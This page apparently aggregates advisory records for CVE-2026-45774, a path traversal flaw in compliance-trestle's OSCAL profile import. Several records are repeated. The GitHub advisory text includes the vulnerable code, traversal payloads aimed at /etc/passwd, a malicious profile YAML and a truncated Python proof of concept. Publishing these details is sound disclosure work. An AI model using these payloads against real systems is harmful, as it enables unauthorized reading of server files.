CVE-2026-45774
compliance-trestle Profile Import has an Arbitrary File Read via trestle:// URI and Relative Path Traversal
compliance-trestle is a tooling platform for managing compliance as code. Prior to versions 3.12.2 and 4.0.3, the compliance-trestle library's profile import mechanism resolves trestle:// URIs and relative file paths by joining them with trestle_root and calling .resolve(), but performs no boundary check to ensure the resolved path stays within the trestle workspace. An attacker can craft a malicious OSCAL profile YAML with imports[].href containing path traversal sequences to read arbitrary files from the server filesystem. Versions 3.12.3 and 4.0.3 patch the issue.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- Active
What an attacker can affect
- Confidentiality
- High
- Integrity
- None
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
6.9
compliance-trestle Profile Import has an Arbitrary File Read via trestle:// URI and Relative Path Traversal
compliance-trestle is a tooling platform for managing compliance as code. Prior to versions 3.12.2 and 4.0.3, the compliance-trestle library's profile import mechanism resolves trestle:// URIs and relative file paths by joining them with trestle_root and calling .resolve(), but performs no boundary check to ensure the resolved path stays within the trestle workspace. An attacker can craft a malicious OSCAL profile YAML with imports[].href containing path traversal sequences to read arbitrary files from the server filesystem. Versions 3.12.3 and 4.0.3 patch the issue.
- Record
CVE-2026-45774- CVSS 4.0
- 6.9 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N - Weakness
- CWE-22
- Updated
- 2026-11-02
EUVDEUVD-2026-58357
6.9
compliance-trestle is a tooling platform for managing compliance as code. Prior to versions 3.12.2 and 4.0.3, the compliance-trestle library's profile import mechanism resolves trestle:// URIs and relative file paths by joining them with trestle_root and calling .resolve(), but performs no boundary check to ensure the resolved path stays within the trestle workspace. An attacker can craft a malicious OSCAL profile YAML with imports[].href containing path traversal sequences to read arbitrary files from the server filesystem. Versions 3.12.3 and 4.0.3 patch the issue.
- Record
EUVD-2026-58357- CVSS 4.0
- 6.9 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-mj4x-vf5c-5xg8
5.5
compliance-trestle Profile Import has an Arbitrary File Read via trestle:// URI and Relative Path Traversal
Summary
The compliance-trestle library's profile import mechanism resolves trestle:// URIs and relative file paths by joining them with trestle_root and calling .resolve(), but performs no boundary check to ensure the resolved path stays within the trestle workspace. An attacker can craft a malicious OSCAL profile YAML with imports[].href containing path traversal sequences to read arbitrary files from the server filesystem.
Three attack vectors confirmed:
- PT-001:
trestle://../../etc/passwd— via trestle:// URI scheme - PT-002:
../../etc/passwd— via relative path in href - PT-003: back_matter rlinks with traversal paths
Preconditions: Victim must import/resolve an attacker-controlled OSCAL profile YAML.
Affected Component
Repository: https://github.com/IBM/compliance-trestle
File: trestle/core/remote/cache.py (lines 175-179)
File: trestle/core/resolver/_import.py (line 104)
Version: v4.0.2 (latest as of 2026-04-30)
Vulnerable Code
cache.py:175-179 — LocalFetcher (trestle:// URI handling)
class LocalFetcher(FetcherBase):
def __init__(self, trestle_root: pathlib.Path, uri: str) -> None:
super().__init__(trestle_root, uri)
# ...
elif uri.startswith(const.TRESTLE_HREF_HEADING):
uri = str(trestle_root / uri[len(const.TRESTLE_HREF_HEADING) :])
self._abs_path = pathlib.Path(uri).resolve()
# ❌ NO boundary check — .resolve() follows ../
# ❌ NO is_relative_to() validation
# ❌ Result can be /etc/passwd
self._cached_object_path = self._abs_path
return
cache.py:194 — LocalFetcher (relative path handling)
# For relative paths (no trestle:// or file:// prefix):
try:
self._abs_path = pathlib.Path(uri).resolve()
# ❌ Same issue — resolves relative to CWD with no boundary check
except Exception:
raise TrestleError(...)
_import.py:73-104 — Profile import href resolution
class Import(Pipeline.Filter):
def __init__(self, ...):
# Line 73-83: back_matter rlinks used directly
if self._import.href[0] == '#':
resource = [r for r in self._resources if r.uuid == self._import.href[1:]][0]
self._import.href = [
rlink.href # ❌ rlink.href from OSCAL data — user-controlled
for rlink in resource.rlinks
if rlink.href.endswith('.json') or rlink.href.endswith('.yaml')
][0]
# Line 104: href passed directly to FetcherFactory
fetcher = cache.FetcherFactory.get_fetcher(self._trestle_root, self._import.href)
Root Cause:
Path(trestle_root / "../../etc/passwd").resolve()=/etc/passwd- No
is_relative_to(trestle_root)check after resolve TRESTLE_HREF_REGEXdefined atconst.py:253but NEVER enforced (dead code)- Even if enforced, the regex
'^trestle://[^/]'would PASS traversal payloads (.is[^/])
Steps to Reproduce
Prerequisites
pip install compliance-trestle==4.0.2
PoC: Malicious OSCAL Profile
# malicious_profile.yaml
profile:
uuid: "550e8400-e29b-41d4-a716-446655440000"
metadata:
title: "Malicious Profile"
version: "1.0"
last-modified: "2024-01-01T00:00:00+00:00"
oscal-version: "1.0.4"
imports:
- href: "trestle://../../../../../../etc/passwd"
PoC: Direct LocalFetcher Exploit
#!/usr/bin/env python3
"""PoC: trestle:// path traversal via real LocalFetcher"""
from pathlib import Path
from trestle.core.remote.cache import LocalFetcher
import tempfile
trestle_root = Path(tempfile.mkdtemp())
# Normal usage — stays within workspace
normal = LocalFetcher(trestle_root, "trestle://catalogs/test/catalog.json")
print(f"Normal: {normal._abs_path}") # /tmp/xxx/catalogs/test/catalog.json
# Exploit — escapes…
- Record
GHSA-mj4x-vf5c-5xg8- CVSS 4.0
- 5.5 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P - Weakness
- CWE-22
- Updated
- 2026-11-02
NVD
6.9
compliance-trestle is a tooling platform for managing compliance as code. Prior to versions 3.12.2 and 4.0.3, the compliance-trestle library's profile import mechanism resolves trestle:// URIs and relative file paths by joining them with trestle_root and calling .resolve(), but performs no boundary check to ensure the resolved path stays within the trestle workspace. An attacker can craft a malicious OSCAL profile YAML with imports[].href containing path traversal sequences to read arbitrary files from the server filesystem. Versions 3.12.3 and 4.0.3 patch the issue.
- Record
CVE-2026-45774- CVSS 4.0
- 6.9 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - Weakness
- CWE-22
- Updated
- 2026-11-02
OSV
6.9
compliance-trestle Profile Import has an Arbitrary File Read via trestle:// URI and Relative Path Traversal
compliance-trestle is a tooling platform for managing compliance as code. Prior to versions 3.12.2 and 4.0.3, the compliance-trestle library's profile import mechanism resolves trestle:// URIs and relative file paths by joining them with trestle_root and calling .resolve(), but performs no boundary check to ensure the resolved path stays within the trestle workspace. An attacker can craft a malicious OSCAL profile YAML with imports[].href containing path traversal sequences to read arbitrary files from the server filesystem. Versions 3.12.3 and 4.0.3 patch the issue.
- Record
CVE-2026-45774- CVSS 4.0
- 6.9 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N - Weakness
- CWE-22
- Updated
- 2026-11-02
OSVGHSA-mj4x-vf5c-5xg8
5.5
compliance-trestle Profile Import has an Arbitrary File Read via trestle:// URI and Relative Path Traversal
Summary
The compliance-trestle library's profile import mechanism resolves trestle:// URIs and relative file paths by joining them with trestle_root and calling .resolve(), but performs no boundary check to ensure the resolved path stays within the trestle workspace. An attacker can craft a malicious OSCAL profile YAML with imports[].href containing path traversal sequences to read arbitrary files from the server filesystem.
Three attack vectors confirmed:
- PT-001:
trestle://../../etc/passwd— via trestle:// URI scheme - PT-002:
../../etc/passwd— via relative path in href - PT-003: back_matter rlinks with traversal paths
Preconditions: Victim must import/resolve an attacker-controlled OSCAL profile YAML.
Affected Component
Repository: https://github.com/IBM/compliance-trestle
File: trestle/core/remote/cache.py (lines 175-179)
File: trestle/core/resolver/_import.py (line 104)
Version: v4.0.2 (latest as of 2026-04-30)
Vulnerable Code
cache.py:175-179 — LocalFetcher (trestle:// URI handling)
class LocalFetcher(FetcherBase):
def __init__(self, trestle_root: pathlib.Path, uri: str) -> None:
super().__init__(trestle_root, uri)
# ...
elif uri.startswith(const.TRESTLE_HREF_HEADING):
uri = str(trestle_root / uri[len(const.TRESTLE_HREF_HEADING) :])
self._abs_path = pathlib.Path(uri).resolve()
# ❌ NO boundary check — .resolve() follows ../
# ❌ NO is_relative_to() validation
# ❌ Result can be /etc/passwd
self._cached_object_path = self._abs_path
return
cache.py:194 — LocalFetcher (relative path handling)
# For relative paths (no trestle:// or file:// prefix):
try:
self._abs_path = pathlib.Path(uri).resolve()
# ❌ Same issue — resolves relative to CWD with no boundary check
except Exception:
raise TrestleError(...)
_import.py:73-104 — Profile import href resolution
class Import(Pipeline.Filter):
def __init__(self, ...):
# Line 73-83: back_matter rlinks used directly
if self._import.href[0] == '#':
resource = [r for r in self._resources if r.uuid == self._import.href[1:]][0]
self._import.href = [
rlink.href # ❌ rlink.href from OSCAL data — user-controlled
for rlink in resource.rlinks
if rlink.href.endswith('.json') or rlink.href.endswith('.yaml')
][0]
# Line 104: href passed directly to FetcherFactory
fetcher = cache.FetcherFactory.get_fetcher(self._trestle_root, self._import.href)
Root Cause:
Path(trestle_root / "../../etc/passwd").resolve()=/etc/passwd- No
is_relative_to(trestle_root)check after resolve TRESTLE_HREF_REGEXdefined atconst.py:253but NEVER enforced (dead code)- Even if enforced, the regex
'^trestle://[^/]'would PASS traversal payloads (.is[^/])
Steps to Reproduce
Prerequisites
pip install compliance-trestle==4.0.2
PoC: Malicious OSCAL Profile
# malicious_profile.yaml
profile:
uuid: "550e8400-e29b-41d4-a716-446655440000"
metadata:
title: "Malicious Profile"
version: "1.0"
last-modified: "2024-01-01T00:00:00+00:00"
oscal-version: "1.0.4"
imports:
- href: "trestle://../../../../../../etc/passwd"
PoC: Direct LocalFetcher Exploit
#!/usr/bin/env python3
"""PoC: trestle:// path traversal via real LocalFetcher"""
from pathlib import Path
from trestle.core.remote.cache import LocalFetcher
import tempfile
trestle_root = Path(tempfile.mkdtemp())
# Normal usage — stays within workspace
normal = LocalFetcher(trestle_root, "trestle://catalogs/test/catalog.json")
print(f"Normal: {normal._abs_path}") # /tmp/xxx/catalogs/test/catalog.json
# Exploit — escapes…
- Record
GHSA-mj4x-vf5c-5xg8- CVSS 4.0
- 5.5 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P - Weakness
- CWE-22
- Updated
- 2026-11-02
OSVPYSEC-2026-2426
5.5
compliance-trestle Profile Import has an Arbitrary File Read via trestle:// URI and Relative Path Traversal
Summary
The compliance-trestle library's profile import mechanism resolves trestle:// URIs and relative file paths by joining them with trestle_root and calling .resolve(), but performs no boundary check to ensure the resolved path stays within the trestle workspace. An attacker can craft a malicious OSCAL profile YAML with imports[].href containing path traversal sequences to read arbitrary files from the server filesystem.
Three attack vectors confirmed:
- PT-001:
trestle://../../etc/passwd— via trestle:// URI scheme - PT-002:
../../etc/passwd— via relative path in href - PT-003: back_matter rlinks with traversal paths
Preconditions: Victim must import/resolve an attacker-controlled OSCAL profile YAML.
Affected Component
Repository: https://github.com/IBM/compliance-trestle
File: trestle/core/remote/cache.py (lines 175-179)
File: trestle/core/resolver/_import.py (line 104)
Version: v4.0.2 (latest as of 2026-04-30)
Vulnerable Code
cache.py:175-179 — LocalFetcher (trestle:// URI handling)
class LocalFetcher(FetcherBase):
def __init__(self, trestle_root: pathlib.Path, uri: str) -> None:
super().__init__(trestle_root, uri)
# ...
elif uri.startswith(const.TRESTLE_HREF_HEADING):
uri = str(trestle_root / uri[len(const.TRESTLE_HREF_HEADING) :])
self._abs_path = pathlib.Path(uri).resolve()
# ❌ NO boundary check — .resolve() follows ../
# ❌ NO is_relative_to() validation
# ❌ Result can be /etc/passwd
self._cached_object_path = self._abs_path
return
cache.py:194 — LocalFetcher (relative path handling)
# For relative paths (no trestle:// or file:// prefix):
try:
self._abs_path = pathlib.Path(uri).resolve()
# ❌ Same issue — resolves relative to CWD with no boundary check
except Exception:
raise TrestleError(...)
_import.py:73-104 — Profile import href resolution
class Import(Pipeline.Filter):
def __init__(self, ...):
# Line 73-83: back_matter rlinks used directly
if self._import.href[0] == '#':
resource = [r for r in self._resources if r.uuid == self._import.href[1:]][0]
self._import.href = [
rlink.href # ❌ rlink.href from OSCAL data — user-controlled
for rlink in resource.rlinks
if rlink.href.endswith('.json') or rlink.href.endswith('.yaml')
][0]
# Line 104: href passed directly to FetcherFactory
fetcher = cache.FetcherFactory.get_fetcher(self._trestle_root, self._import.href)
Root Cause:
Path(trestle_root / "../../etc/passwd").resolve()=/etc/passwd- No
is_relative_to(trestle_root)check after resolve TRESTLE_HREF_REGEXdefined atconst.py:253but NEVER enforced (dead code)- Even if enforced, the regex
'^trestle://[^/]'would PASS traversal payloads (.is[^/])
Steps to Reproduce
Prerequisites
pip install compliance-trestle==4.0.2
PoC: Malicious OSCAL Profile
# malicious_profile.yaml
profile:
uuid: "550e8400-e29b-41d4-a716-446655440000"
metadata:
title: "Malicious Profile"
version: "1.0"
last-modified: "2024-01-01T00:00:00+00:00"
oscal-version: "1.0.4"
imports:
- href: "trestle://../../../../../../etc/passwd"
PoC: Direct LocalFetcher Exploit
#!/usr/bin/env python3
"""PoC: trestle:// path traversal via real LocalFetcher"""
from pathlib import Path
from trestle.core.remote.cache import LocalFetcher
import tempfile
trestle_root = Path(tempfile.mkdtemp())
# Normal usage — stays within workspace
normal = LocalFetcher(trestle_root, "trestle://catalogs/test/catalog.json")
print(f"Normal: {normal._abs_path}") # /tmp/xxx/catalogs/test/catalog.json
# Exploit — escapes…
- Record
PYSEC-2026-2426- CVSS 4.0
- 5.5 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P - Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
compliance-trestlePyPI |
4.0.0 to 4.0.2 | 4.0.3 |
compliance-trestlePyPI |
before 3.12.2 | 3.12.2 |
compliance-trestlePyPI |
4.0.0 up to 4.0.3, plus listed versions 4.0.14.0.2 |
4.0.3 |
compliance-trestlePyPI |
before 3.12.2, plus listed versions 0.0.20.0.30.1.00.1.10.10.0 Show 45 moreShow less0.11.00.12.00.13.00.13.10.14.00.14.10.14.20.14.30.14.40.15.00.15.10.16.00.17.00.18.00.18.10.19.00.2.00.2.10.2.20.20.00.21.00.22.00.22.10.23.00.24.00.25.00.25.10.26.00.27.00.27.10.27.20.28.00.28.10.29.00.3.00.30.00.31.00.32.00.32.10.33.00.34.00.35.00.36.00.37.00.4.0 |
3.12.2 |
compliance-trestlePyPI |
before 3.12.2, 4.0.0 up to 4.0.3, plus listed versions 0.0.20.0.30.1.00.1.10.10.0 Show 45 moreShow less0.11.00.12.00.13.00.13.10.14.00.14.10.14.20.14.30.14.40.15.00.15.10.16.00.17.00.18.00.18.10.19.00.2.00.2.10.2.20.20.00.21.00.22.00.22.10.23.00.24.00.25.00.25.10.26.00.27.00.27.10.27.20.28.00.28.10.29.00.3.00.30.00.31.00.32.00.32.10.33.00.34.00.35.00.36.00.37.00.4.0 |
3.12.24.0.3 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-45774 is a medium vulnerability (CVSS 6.9) in Oscal-compass Compliance-trestle, published May 28, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.54%, the 45th percentile. Fixed in compliance-trestle 4.0.3.
References
github.com/oscal-compass/compliance-trestle/security/advisories/GHSA-mj4x-vf5c-5xg8
github.com/oscal-compass/compliance-trestle/commit/5c65c5926fe7ca908b9c1d281f904e7d97ba8310
github.com/oscal-compass/compliance-trestle/commit/d00a0c2f702c24f7016009fbd626036f5c46f47b
github.com/pypa/advisory-database/tree/main/vulns/compliance-trestle/PYSEC-2026-2426.yaml
github.com/advisories/GHSA-mj4x-vf5c-5xg8
github.com/CVEProject/cvelistV5/tree/main/cves/2026/45xxx/CVE-2026-45774.json
nvd.nist.gov/vuln/detail/CVE-2026-45774
github.com/oscal-compass/compliance-trestle
pypi.org/project/compliance-trestle
Left out here: 96 versions and the rest of 3 source descriptions. The JSON record has them.